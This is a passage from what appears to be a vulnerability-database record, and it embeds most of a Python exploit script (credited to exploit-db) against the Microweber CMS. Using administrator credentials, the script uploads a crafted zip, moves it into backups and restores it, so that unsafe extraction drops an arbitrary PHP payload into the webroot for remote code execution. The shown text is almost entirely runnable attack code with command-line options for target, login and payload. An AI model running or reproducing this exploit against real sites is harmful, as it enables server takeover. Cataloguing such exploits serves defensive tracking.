getAbsoluteWebRoot(self):\r\n # Determine the webroot using the debug output and the DefaultController.php path\r\n res = self.makeGetRequest(\"\", params={\r\n \"debug\": \"true\"\r\n })\r\n\r\n if res.status_code != 200:\r\n print(f\"[-] Unable to collect debug information. Bad server response: {res.status_code}\")\r\n sys.exit(-1)\r\n\r\n target = \"src/Microweber/Controllers/DefaultController.php\"\r\n m = re.findall('([\\/\\w]+)\\/src\\/Microweber\\/Controllers\\/DefaultController\\.php', res.text)\r\n if len(m) == 1:\r\n return m[0]\r\n else:\r\n print(f\"[-] Unable to determine the webroot using {target}. Found {len(m)} matches\")\r\n\r\n def moveZipToBackup(self):\r\n # Move the uploaded zip file into the backup directory\r\n\r\n webRoot = self.getAbsoluteWebRoot()\r\n hostname = self.baseUrl.split(\"//\")[1]\r\n\r\n src = f\"{webRoot}/userfiles/media/{hostname}/{self.zipPayloadName}\"\r\n res = self.makeGetRequest(self.moveZipToBackupUrl, params={\r\n \"src\": src\r\n })\r\n\r\n if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == f\"{self.zipPayloadName} was uploaded!\":\r\n print(f\"[+] Successfully moved {self.zipPayloadName} to backup\")\r\n else:\r\n print(f\"[-] Unable to move zip to backup ({res.status_code})\")\r\n sys.exit(-1)\r\n\r\n def restoreBackup(self, filename):\r\n # With the zip file in the backup directory, 'restore' it, which will cause it to be extracted unsafely\r\n\r\n res = self.makePostRequest(self.restoreBackupUrl, data={\r\n\r\n \"id\": filename\r\n })\r\n\r\n if res.status_code == 200 and \"Backup was restored!\" in res.text:\r\n print(f\"[+] Successfully restored backup {filename}\")\r\n else:\r\n print(f\"[-] Unable to restore backup {filename}\")\r\n sys.exit(-1)\r\n\r\n def exploit(self, payload=None):\r\n zipData = m.createZip(self.targetPath, self.targetFilename, payload=payload)\r\n m.uploadZip(zipData)\r\n m.moveZipToBackup()\r\n m.restoreBackup(self.zipPayloadName)\r\n\r\n print(f\"[+] Successfully uploaded payload to {self.targetFilename}!=\")\r\n print(f\"[+] Visit: {self.baseUrl}{self.targetPath}{self.targetFilename}\")\r\n\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"--hostname\", required=True, dest=\"hostname\", help=\"Microweber hostname with protocol (e.g. http://microwebertest.com)\")\r\n parser.add_argument(\"--http-proxy\", required=False, dest=\"http_proxy\", help=\"HTTP Proxy (e.g. http://127.0.0.1:8000)\")\r\n parser.add_argument(\"--username\", \"-u\", required=True, dest=\"username\", help=\"Username of administrative user\")\r\n parser.add_argument(\"--password\", \"-p\", required=True, dest=\"password\", help=\"Password of administrative user\")\r\n parser.add_argument(\"--payload\", required=False, dest=\"payload\", help=\"Payload contents. Should be a string of PHP code. (default is phpinfo() )\")\r\n\r\n # Uncommon args\r\n parser.add_argument(\"--target-file\", required=False, dest=\"target_file\", help=\"Target filename of the payload (default: payload.php\")\r\n parser.add_argument(\"--target-path\", required=False, dest=\"target_path\", help=\"Target path relative to webroot for the payload (default: /userfiles/cache/\")\r\n parser.add_argument(\"--zip-name\", required=False, dest=\"zip_name\", help=\"File name of tmp backup zip\")\r\n args = parser.parse_args()\r\n\r\n proxies = None\r\n if args.http_proxy:\r\n proxies = {\r\n \"http\": args.http_proxy\r\n }\r\n\r\n m = Microweber(args.hostname, proxies=proxies)\r\n\r\n if args.target_file:\r\n m.targetFilename = args.target_file\r\n if args.target_path:\r\n m.targetPath = args.target_path\r\n\r\n if args.zip_name:\r\n m.zipPayloadName = args.zip_name\r\n\r\n m.login(args.username, args.password)\r\n m.exploit(args.payload)", "sourceHref": "https://www.exploit-db.com/download/49856", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}]}